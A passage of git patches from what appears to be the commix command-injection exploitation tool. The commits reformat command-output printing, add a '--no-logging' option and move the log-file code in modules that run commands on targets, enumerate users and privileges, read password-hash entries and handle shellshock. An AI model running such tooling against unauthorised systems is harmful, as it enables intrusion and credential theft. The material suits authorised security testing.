+ print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 2ac5a0077f..97dfe1dd38 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -546,12 +546,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 848faab463..64733ad09b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -178,8 +178,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). + # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. @@ -419,12 +418,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index afe3683801..c10a02e45b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -522,12 +522,16 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index e07f2459ba..acd9d990d1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -638,13 +638,16 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) if not shell or shell == "": - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: diff --git a/src/core/main.py b/src/core/main.py index aadf90c7ff..0c41cbe025 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -506,7 +506,7 @@ def main(filename, url): pass # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts() + checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 5406a0a0cc..f3e07ab2c1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -748,7 +748,9 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) raise SystemExit() else: @@ -803,7 +805,8 @@ def shellshock_handler(url, http_request_method, filename): sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/utils/settings.py b/src/utils/settings.py index 58d08b6d5f..fafe21a65d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -169,6 +169,11 @@ def print_bold_debug_msg(debug_msg): result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL return result +# Print output of command execution +def command_execution_output(shell): + result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + return result + # argv checks def sys_argv_checks(): tamper_index = None @@ -225,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2ba2e89ae847e5f0bcbfb28a3d179974f165d0fa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Apr 2022 08:09:23 +0300 Subject: [PATCH 115/560] Added a new option `--no-logging` (for disabling logging to a file). --- doc/CHANGELOG.md | 1 + src/core/main.py | 40 +---------------- src/utils/logs.py | 99 +++++++++++++++++++++++++++++++------------ src/utils/menu.py | 8 +++- src/utils/settings.py | 2 +- 5 files changed, 83 insertions(+), 67 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 65dcc59ab4..920701f0d3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. diff --git a/src/core/main.py b/src/core/main.py index 0c41cbe025..f577d3a445 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -281,42 +281,6 @@ def init_injection(url): if settings.TIME_RELATIVE_ATTACK: settings.TIME_RELATIVE_ATTACK = False -""" -Logs filename creation. -""" -def logs_filename_creation(): - if menu.options.output_dir: - if os.path.isdir(menu.options.output_dir): - output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - else: - output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - - try: - os.stat(output_dir) - except: - try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - # The logs filename construction. - filename = logs.create_log_file(url, output_dir) - return filename - """ The main function. """ @@ -847,7 +811,7 @@ def main(filename, url): try: response, url = url_response(url) if response != False: - filename = logs_filename_creation() + filename = logs.logs_filename_creation(url) main(filename, url) except: pass @@ -867,7 +831,7 @@ def main(filename, url): url = menu.options.url response, url = url_response(url) if response != False: - filename = logs_filename_creation() + filename = logs.logs_filename_creation(url) main(filename, url) except KeyboardInterrupt: diff --git a/src/utils/logs.py b/src/utils/logs.py index 7546eaa9cd..2fede93cc3 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -30,6 +30,43 @@ 2. Check for logs updates and apply if any! """ +""" +Logs filename creation. +""" +def logs_filename_creation(url): + if menu.options.output_dir: + if os.path.isdir(menu.options.output_dir): + output_dir = menu.options.output_dir + if not output_dir.endswith("/"): + output_dir = output_dir + "/" + else: + error_msg = "The '" + menu.options.output_dir + "' is not directory." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + else: + output_dir = settings.OUTPUT_DIR + + # One directory up, if the script is being run under "/src". + output_dir = os.path.dirname(output_dir) + + try: + os.stat(output_dir) + except: + try: + os.mkdir(output_dir) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + + # The logs filename construction. + filename = create_log_file(url, output_dir) + + return filename + """ Create log files """ @@ -93,12 +130,13 @@ def create_log_file(url, output_dir): filename = output_dir + host + "/" + settings.OUTPUT_FILE try: output_file = open(filename, "a") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) + if not menu.options.no_logging: + output_file.write("\n" + "=" * 37) + output_file.write("\n" + "| Started in " + \ + datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ + " at " + '%H:%M:%S' + " |")) + output_file.write("\n" + "=" * 37) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) output_file.close() except IOError as err_msg: try: @@ -114,11 +152,13 @@ def create_log_file(url, output_dir): Add the injection type / technique in log files. """ def add_type_and_technique(export_injection_info, filename, injection_type, technique): + if export_injection_info == False: settings.SHOW_LOGS_MSG = True output_file = open(filename, "a") - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + if not menu.options.no_logging: + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) output_file.close() export_injection_info = True @@ -129,13 +169,14 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): output_file = open(filename, "a") - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") + if not menu.options.no_logging: + if header_name[1:] == "cookie": + header_name = " ("+ header_name[1:] + ") " + vuln_parameter + if header_name[1:] == "": + header_name = " ("+ http_request_method + ") " + vuln_parameter + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + vp_flag = False + output_file.write("\n") output_file.close() """ @@ -143,10 +184,11 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, """ def update_payload(filename, counter, payload): output_file = open(filename, "a") - if "\n" in payload: - output_file.write(" (" +str(counter)+ ") Payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") - else: - output_file.write(" (" +str(counter)+ ") Payload: " + payload.replace("%20", " ") + "\n") + if not menu.options.no_logging: + if "\n" in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + else: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n") output_file.close() """ @@ -156,8 +198,9 @@ def update_payload(filename, counter, payload): def executed_command(filename, cmd, output): try: output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") output_file.close() except TypeError: pass @@ -167,17 +210,19 @@ def executed_command(filename, cmd, output): """ def logs_notification(filename): # Save command history. - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." - print(settings.print_info_msg(info_msg)) + if not menu.options.no_logging: + info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." + print(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. """ def log_traffic(header): output_file = open(menu.options.traffic_file, "a") - if type(header) is bytes: - header = header.decode(settings.DEFAULT_CODEC) - output_file.write(header) + if not menu.options.no_logging: + if type(header) is bytes: + header = header.decode(settings.DEFAULT_CODEC) + output_file.write(header) output_file.close() """ @@ -185,7 +230,7 @@ def log_traffic(header): """ def print_logs_notification(filename, url): checks.save_cmd_history() - if settings.SHOW_LOGS_MSG == True: + if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index d7eb5926ef..2f4b3074bc 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -567,7 +567,13 @@ def banner(): action="store_true", dest="list_tampers", default=False, - help="Display list of available tamper scripts") + help="Display list of available tamper scripts.") + +misc.add_option("--no-logging", + action="store_true", + dest="no_logging", + default=False, + help="Disable logging to a file.") misc.add_option("--purge", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index fafe21a65d..87719f8380 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 35a76f24abd000f4afdd17f2519b26c3f1443077 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Apr 2022 08:58:28 +0300 Subject: [PATCH 116/560] Trivial update --- src/core/injections/controller/controller.py | 8 +++++--- src/utils/settings.py | 4 ++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0d3d5ac7bf..6ba341de85 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -324,6 +324,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) + # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -854,9 +855,10 @@ def do_check(url, http_request_method, filename): err_msg += "." print(settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) + if not settings.MULTI_TARGETS: + logs.print_logs_notification(filename, url) + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: - # if not menu.options.bulkfile or settings.EOF: - # print(settings.SINGLE_WHITESPACE) raise SystemExit() + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 87719f8380..89a3e10250 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1058,7 +1058,7 @@ def sys_argv_errors(): GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = "src/core/tamper/" +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) # Default path for settings.py file SETTINGS_PATH = os.path.abspath("src/utils/settings.py") From cf3179b85a639e0440583db0010e43ef47f1f0fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 23 Apr 2022 09:18:30 +0300 Subject: [PATCH 117/560] Multiple fixes and updates --- .../techniques/time_based/tb_enumeration.py | 69 +++++++++------ .../techniques/time_based/tb_file_access.py | 49 +++++------ .../blind/techniques/time_based/tb_handler.py | 2 - .../techniques/classic/cb_enumeration.py | 75 +++++++++------- .../techniques/classic/cb_file_access.py | 53 ++++++------ .../techniques/classic/cb_handler.py | 2 +- .../techniques/eval_based/eb_enumeration.py | 69 +++++++++------ .../techniques/eval_based/eb_file_access.py | 55 +++++------- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/file_based/fb_enumeration.py | 65 ++++++++------ .../techniques/file_based/fb_file_access.py | 57 ++++++------- .../techniques/file_based/fb_handler.py | 85 +++++++++---------- .../tempfile_based/tfb_enumeration.py | 69 +++++++++------ .../tempfile_based/tfb_file_access.py | 48 +++++------ .../techniques/tempfile_based/tfb_handler.py | 4 +- src/core/modules/shellshock/shellshock.py | 75 +++++++++------- src/utils/settings.py | 6 +- 17 files changed, 425 insertions(+), 360 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 5e8ed6eb42..8ab74835c8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -58,8 +58,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -89,8 +90,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -149,9 +151,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -195,8 +198,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) @@ -206,14 +210,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL == 0 and _: @@ -223,8 +229,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -274,7 +281,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -306,7 +314,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -348,7 +357,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -363,7 +373,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -403,7 +414,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -413,7 +425,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -470,7 +483,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -482,7 +496,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -493,7 +508,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.write(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -507,6 +523,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -515,9 +533,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 896b82aef8..67f49ecee8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -45,7 +45,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = 